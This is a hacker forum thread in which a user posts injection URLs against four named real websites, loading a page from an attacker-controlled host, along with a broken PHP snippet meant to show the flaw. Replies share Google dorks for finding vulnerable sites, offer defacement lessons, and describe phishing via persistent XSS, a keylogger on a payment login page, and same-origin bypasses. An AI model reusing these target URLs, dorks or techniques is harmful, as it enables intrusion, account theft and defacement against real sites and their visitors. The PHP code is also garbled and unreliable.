

Forum:[Hack Forums](#)

Thread: [\[XSS/iFrame\] Exploits - 4 Websites](#)

ImPlode - October 9, 2010, 9:20 pm

Hello =]

I going very bored and started getting into this, but while playing around with dorks and making my own dorks on Google I came across these sites.

These are my own findings even though I joined today :P

Code ##

```
# XSS  #--  
##
```

<http://www.georgeharrison.com/letitroll/home.php?page=http://bl4ckh4t.webs.com/file.html>

<http://www.starjouet.com/home.php?page=http://bl4ckh4t.webs.com/file.html>

<http://www.acquasanta.com/index.php?page=http://bl4ckh4t.webs.com/file.html>

<http://www.tea-mail.de/index.php?p=http://bl4ckh4t.webs.com/file.html>

All they use is a simple iFrame like this for eg:

PHP Code

```
<?php  
<iframe name="iframe-test" src="<?php $_GET['page']; ?>">  
</iframe>
```

Then a hacker/skiddie could enter like http://thefailswebsite/index.php?page=URL_HERE

Thanks for the 19 who viewed and didn't comment =] -(Sarcasm)

Burn Notice - October 9, 2010, 10:39 pm

I doubt this would work. But nevertheless, good post.

ImPlode - October 9, 2010, 10:59 pm

(Oct 9, 2010 10:39 PM)-NCIS- Wrote: [\[CITE\]](#) I doubt this would work. But nevertheless, good post.Its an iframe XSS exploit.

Burn Notice - October 9, 2010, 11:03 pm

XSS exploits generally aren't that big of a security risk under most circumstances.

ImPlode - October 9, 2010, 11:06 pm

(Oct 9, 2010 11:03 PM)-NCIS- Wrote: [\[CITE\]](#) XSS exploits generally aren't that big of a security risk under most circumstances.

Do I look stupid? I already know. Its client side and cannot cause any defacements.

Burn Notice - October 9, 2010, 11:24 pm

Don't ask me that, cause you won't like the answer.

Let's agree XSS is useless these days and move on.

Good day.

Ghost Hack?r - October 9, 2010, 11:42 pm

(Oct 9, 2010 11:24 PM)-NCIS- Wrote: [\[CITE\]](#) Let's agree XSS is useless these days and move on.
Lets DDoS, make the admin move on.

?

ImPlode - October 9, 2010, 11:42 pm

(Oct 9, 2010 11:24 PM)-NCIS- Wrote: [\[CITE\]](#) Don't ask me that, cause you won't like the answer.

Let's agree XSS is useless these days and move on.

Good day.

Yeah I agree, It it useless :P but its always fun to discover them

(Oct 9, 2010 11:42 PM)# Ghost Hack?r Wrote: [\[CITE\]](#) Lets DDoS, make the admin move on.

?Lol - (message to short)

Yeah XSS is crap and shitty

shyamraj - October 9, 2010, 11:52 pm

Though XSS is not considered to be a big security threat.

But it can still be used to do some serious damage to the victim.

Can you share the dork that you used to find XSS vulnerable sites?

ImPlode - October 10, 2010, 12:00 am

(Oct 9, 2010 11:52 PM)shyamraj Wrote: [\[CITE\]](#) Though XSS is not considered to be a big security threat.

But it can still be used to do some serious damage to the slave.

I can teach you my ways of defacing websites and such, email me @ imploderific@gmail.com <3

My dork was (inurl:"index.php?page=home.html") and (inurl:"index.php?page=about.html"), mainly basic names of pages you would find on the net.

03storic - October 10, 2010, 12:40 am

XSS is a huge security threat is it is persistant. Myspace had one in 07/08 that allowed me to cover people's profile with a phisher and all they see is a login page, with that I was able to get 100+ accounts in less then 10 minutes.

Kick Buttowski - October 21, 2010, 12:56 pm

XSS is also dangerous lol . With iframes we can infect users and also inject worm in to the server

iDropDoX - October 21, 2010, 3:44 pm

I like using cross site/local inclusion patterns because its more sanitized and can be used to retrieve results faster then ?p=../.././john.txt%00, although %00 patterns can be used when you read from

the file (?site.php=) then sanitize an input. Its quite useful but doesn't work a lot.

I like using it for XSS-Shell behavior, its much more interesting and tempting. + who wouldn't want a big valid UA list + cookie patterns? It can get you long login-dates depending on expiration.

Isonyx - October 21, 2010, 4:37 pm

Nice job here. Thanks for explaining the iFrame exploit method.

ImPlode - October 22, 2010, 6:08 am

Not a problem, pleasure to help anyone here :)

krianga - April 23, 2014, 6:29 pm

I started hacking when I was 12 but still kinda struggling

WACKO - April 23, 2014, 9:20 pm

(Apr 23, 2014 06:29 PM)krianga Wrote: [\[CITE\]](#) I started hacking when I was 12 but still kinda struggling Oh my god. This is from 4 years ago! Read the dates before gravedigging useless threads.

Kristofferson - April 23, 2014, 10:28 pm

(Oct 10, 2010 12:00 AM)ImPlode Wrote: [\[CITE\]](#) I can teach you my ways of defacing websites and such, email me @ imploderific@gmail.com <3

My dork was (inurl:"index.php?page=home.html") and (inurl:"index.php?page=about.html"), mainly basic names of pages you would find on the net.

Dat LFI Dork. ?

We all agree that XSS is fucking useless unless on a site like paypal (Adding a little script to the cache of the login that's a JS keylogger).

Th3PonyWizard - April 24, 2014, 3:38 am

(Apr 23, 2014 10:28 PM)drbox123 Wrote: [\[CITE\]](#) Dat LFI Dork. ?

We all agree that XSS is fucking useless unless on a site like paypal (Adding a little script to the cache of the login that's a JS keylogger). Figuring out the true power of XSS is what separates newbies from experts :)

WACKO - April 24, 2014, 4:57 am

(Apr 24, 2014 03:38 AM)UniK1tty Wrote: [\[CITE\]](#) Figuring out the true power of XSS is what separates newbies from experts :)

Yes but this is XSS loaded in an iFrame. I'm not positive, but doesn't it mean the JavaScript can't get cookies and shit from that site because it's technically in a different location?

cheatson - April 24, 2014, 5:25 am

(Apr 24, 2014 04:57 AM)WACKO Wrote: [\[CITE\]](#) Yes but this is XSS loaded in an iFrame. I'm not positive, but doesn't it mean the JavaScript can't get cookies and shit from that site because it's technically in a different location? The same-origin rule applies so for a different domain/protocol/port it wouldnt work. However, I found a workaround for that last year, I'm sure there are others. You can specify the src as data/html and inject javascript directly to the page. It's then therefore same origin and bypasses this rule.

<http://www.hackers2devnull.blogspot.co.uk/2013/05/this-persistent-xss-vulnerability.html>

Alternatively, you could break out of the iframe in the example given by the op because the output is not even sanitized.

Orianthi - April 24, 2014, 4:40 pm

I never understood HTML. Maybe one of you guys could link me to a good XSS tutorial you enjoyed?